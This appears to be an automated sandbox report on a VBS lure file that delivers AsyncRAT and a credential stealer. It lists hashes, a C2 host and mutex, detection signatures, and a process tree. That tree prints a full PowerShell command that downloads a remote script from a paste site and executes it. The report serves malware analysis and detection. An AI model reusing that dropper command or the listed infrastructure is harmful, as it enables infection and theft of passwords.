asyncrat | fcd18b069a963b01f447b35ac7f12421ac36f8c577a1f19880ea0258e0505747

General

Target

116 Pax Charter Details.vbs
Size

57KB
MD5

52d94e55aac61768976f39040c288eef
SHA1

e942fa64351f106b614b28e86d3a42d50e5a0443
SHA256

fcd18b069a963b01f447b35ac7f12421ac36f8c577a1f19880ea0258e0505747
SHA512

fe278c9483992b979e356ec4380182d7519d47144cf3ed9c9caaf0346c4bcb788272562f57264ac7a3a35bf67e9e36ac19ec5d5a07d9564a99360de77b72b717

Score

10^/10

asyncrat metastealer default rat stealer suricata

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://textbin.net/raw/x6lfwhnyrz

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

C2

crazydns.linkpc.net:5900

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat
Meta Stealer Stealer
Meta Stealer steals passwords stored in browsers, written in C++.
stealer metastealer
suricata: ET MALWARE Observed Malicious SSL Cert (AsyncRAT)
suricata: ET MALWARE Observed Malicious SSL Cert (AsyncRAT)
suricata

Async RAT payload 4 IoCs

rat

resource	yara_rule
behavioral2/memory/3148-232-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral2/memory/3148-233-0x000000000040CBCE-mapping.dmp	asyncrat
behavioral2/memory/3148-248-0x00000000095A0000-0x00000000095B0000-memory.dmp	asyncrat
behavioral2/memory/3148-263-0x000000000AD10000-0x000000000AD74000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	1324	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ChromeUpdateHost.vbs	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1828 set thread context of 3148	1828	powershell.exe	72

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1288	timeout.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1324	powershell.exe
1324	powershell.exe
1324	powershell.exe
1828	powershell.exe
1828	powershell.exe
1828	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1324	powershell.exe
Token: SeDebugPrivilege	1828	powershell.exe
Token: SeDebugPrivilege	3148	AppLaunch.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 64 wrote to memory of 1324	64	WScript.exe	67
PID 64 wrote to memory of 1324	64	WScript.exe	67
PID 1324 wrote to memory of 1828	1324	powershell.exe	69
PID 1324 wrote to memory of 1828	1324	powershell.exe	69
PID 1828 wrote to memory of 3928	1828	powershell.exe	70
PID 1828 wrote to memory of 3928	1828	powershell.exe	70
PID 3928 wrote to memory of 2744	3928	csc.exe	71
PID 3928 wrote to memory of 2744	3928	csc.exe	71
PID 1828 wrote to memory of 3148	1828	powershell.exe	72
PID 1828 wrote to memory of 3148	1828	powershell.exe	72
PID 1828 wrote to memory of 3148	1828	powershell.exe	72
PID 1828 wrote to memory of 3148	1828	powershell.exe	72
PID 1828 wrote to memory of 3148	1828	powershell.exe	72
PID 1828 wrote to memory of 3148	1828	powershell.exe	72
PID 1828 wrote to memory of 3148	1828	powershell.exe	72
PID 1828 wrote to memory of 3148	1828	powershell.exe	72
PID 3148 wrote to memory of 3188	3148	AppLaunch.exe	74
PID 3148 wrote to memory of 3188	3148	AppLaunch.exe	74
PID 3148 wrote to memory of 3188	3148	AppLaunch.exe	74
PID 3188 wrote to memory of 1288	3188	cmd.exe	76
PID 3188 wrote to memory of 1288	3188	cmd.exe	76
PID 3188 wrote to memory of 1288	3188	cmd.exe	76

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\116 Pax Charter Details.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:64
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -Command [System.Net.WebClient] $Client = New-Object System.Net.WebClient; [Byte[]] $DownloadedData = $Client.DownloadData('https://textbin.net/raw/x6lfwhnyrz'); [String] $ByteToString = [System.Text.UTF8Encoding]::UTF8.GetString($DownloadedData); [System.IO.File]::WriteAllText('C:\Users\Public\x6lfwhnyrz.PS1', $ByteToString, [System.Text.Encoding]::UTF8); Invoke-Expression 'PowerShell -ExecutionPolicy RemoteSigned -File C:\Users\Public\x6lfwhnyrz.PS1'
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -File C:\Users\Public\x6lfwhnyrz.PS1
    3⤵
    - Drops startup file
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1828
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ttrfgfuw\ttrfgfuw.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3928
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCD38.tmp" "c:\Users\Admin\AppData\Local\Temp\ttrfgfuw\CSCC1D4DB35A7DE4D4381D55A736C3DEC7A.TMP"
        5⤵
        
        PID:2744
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3148
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA42F.tmp.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3188
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:1288

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
3fb7f9b6c8c061d1a91a99c05f205dbc

SHA1
b8956e5dfaa8b012fa1c21536acffb877fec37c8

SHA256
e41b989f4d22e01403729e5e5b2423ece983d7407e7409e0e6d350ee8bba9166

SHA512
f6b6dcb58956c8a90b0432d4e18797d8152aa182b621f5836f9dad1f100846c2c2c2085742a2c4ba414eeef1d528d98a2baae1e797d259cb2839ac427582ab4c

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESCD38.tmp

Filesize
1KB

MD5
1ca2f096b6b7bd6ee219a00ea4281a41

SHA1
478c14065a000c81611825b3c9eb7f0c891c0b4b

SHA256
c6f5c20fdcf1bf77ddf53e98958f3ecce9894d400ecb621fef485c2a5446512f

SHA512
a9d331f023c3520b37f7d29f8230773b206845627e154ae64cc1f7ac4ded08a2bb9716a093f70fceb21a19156fdd93eddc6ba4c50e3db7d3559ffbb259ef3ea4

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA42F.tmp.bat

Filesize
173B

MD5
3666e5cf6f2c1cc561e09805f8bf728b

SHA1
26c0b59b4c6ddcf4191eb9e9cc8bc4b1b967b25b

SHA256
f73f0a5bf054a72a51db03f3776bf74f665f6fec044a375e2461e0a58f3a54f3

SHA512
3b1bb8212791402a6ab3e4a4d177861ae01a14567e844f5fb3aed810101d19294788906e1418441c369664f39c0887993719b7069726818c9b09cc7bdd3114b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\ttrfgfuw\ttrfgfuw.dll

Filesize
11KB

MD5
12ab9b237bb49f00ecaf556f74c995c4

SHA1
837a7617d3a394a40da8eec4e79d1a78988e6ba3

SHA256
1c7af518be71b97778407d76c2845dffe553567de16f9c1e68cf97ebf8cf80d5

SHA512
e79c5545c187d7735bd94eb3242f521faaf74bdbd349601779cb47b7eb1b4f8c82e4e6297b2d54704ede93c55ec75d31fd07156ce5c0cb3d69f41de744e0347e

Download Submit
C:\Users\Public\x6lfwhnyrz.PS1

Filesize
119KB

MD5
8a4c64e0dc47055ac4df009b38c5c442

SHA1
1cfade9c2531a2721261df5f323b918a96fe6db7

SHA256
8d6d23ec88918ca2a42e1f578fa0d353bc6c93a557c9cf77a0704964fd9c9f8e

SHA512
18911c1ee6c579b5a4ceb79b0b7fe77f4e2af500a0851cbca9c67f2f852517ff25f352820c30dcde0081a99752765ae5d6d77d68f0d80056ac194fff4ee565f9

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ttrfgfuw\CSCC1D4DB35A7DE4D4381D55A736C3DEC7A.TMP

Filesize
652B

MD5
44c446c277e8073520f6a5f0b13b9331

SHA1
5e4e22548ceb17ca019b11c637d6ec06c04f3b69

SHA256
8945a00cabe7127c754c49f2c974b7948f8721bf4adb17e69c8fc4d413d40886

SHA512
85506b438d5c6fc0b1dde291f7e17a69c7e05ee10ecb83b05c164d57164d1abd6c694cb19381fed5d865afbabcb43f61155c25aba98a57c1746596a1c9ce06fd

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ttrfgfuw\ttrfgfuw.0.cs

Filesize
14KB

MD5
5b28648a4e188b0ebdf2d5edcda61624

SHA1
faf0ba6c2ef8d8184881eda8a276796449969e1c

SHA256
e92acafc5a9dd128b120809aaf76178275c3d22b13fb7cc2f0d9c624befed1b1

SHA512
972fca6205f8927363b751ff51c6cf07c3b42f7cbd8fbe12c1098df539118ecf3d3ce1af3b5d376c8710ed183786fc911279ff81941aba4202a11ca5670b9937

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ttrfgfuw\ttrfgfuw.cmdline

Filesize
327B

MD5
6e245703f24e0db1dd6b1e42da7a4962

SHA1
cdc61732bb6fef242ff5903917a38c96dba53bfc

SHA256
242588558957ef2b0bb35064f782ac8b4c45eb9d195b8f12e409933ec0fbb113

SHA512
d11eb333eacd5a5de0a13276a57ca07ea0defa5af3428990553b6a3448d865c7ba29c9024166193c241a39698e3d3e707351b5f4f0152d3e5294bb85270ef345

Download Submit
memory/1324-139-0x00000214E1016000-0x00000214E1018000-memory.dmp

Filesize
8KB

Download
memory/1324-130-0x00000214E1CB0000-0x00000214E1D26000-memory.dmp

Filesize
472KB

Download
memory/1324-129-0x00000214E1013000-0x00000214E1015000-memory.dmp

Filesize
8KB

Download
memory/1324-128-0x00000214E1010000-0x00000214E1012000-memory.dmp

Filesize
8KB

Download
memory/1324-124-0x00000214E11C0000-0x00000214E11E2000-memory.dmp

Filesize
136KB

Download
memory/1828-149-0x000001F255FD0000-0x000001F255FD2000-memory.dmp

Filesize
8KB

Download
memory/1828-222-0x000001F2582D0000-0x000001F2587F6000-memory.dmp

Filesize
5.1MB

Download
memory/1828-223-0x000001F255FD6000-0x000001F255FD8000-memory.dmp

Filesize
8KB

Download
memory/1828-231-0x000001F23DB40000-0x000001F23DB4A000-memory.dmp

Filesize
40KB

Download
memory/1828-151-0x000001F255FD3000-0x000001F255FD5000-memory.dmp

Filesize
8KB

Download
memory/3148-245-0x0000000009B50000-0x000000000A04E000-memory.dmp

Filesize
5.0MB

Download
memory/3148-244-0x00000000095B0000-0x000000000964C000-memory.dmp

Filesize
624KB

Download
memory/3148-246-0x00000000096C0000-0x0000000009726000-memory.dmp

Filesize
408KB

Download
memory/3148-247-0x000000000A890000-0x000000000A906000-memory.dmp

Filesize
472KB

Download
memory/3148-248-0x00000000095A0000-0x00000000095B0000-memory.dmp

Filesize
64KB

Download
memory/3148-249-0x000000000A830000-0x000000000A84E000-memory.dmp

Filesize
120KB

Download
memory/3148-250-0x000000000AAF0000-0x000000000AB82000-memory.dmp

Filesize
584KB

Download
memory/3148-263-0x000000000AD10000-0x000000000AD74000-memory.dmp

Filesize
400KB

Download
memory/3148-232-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads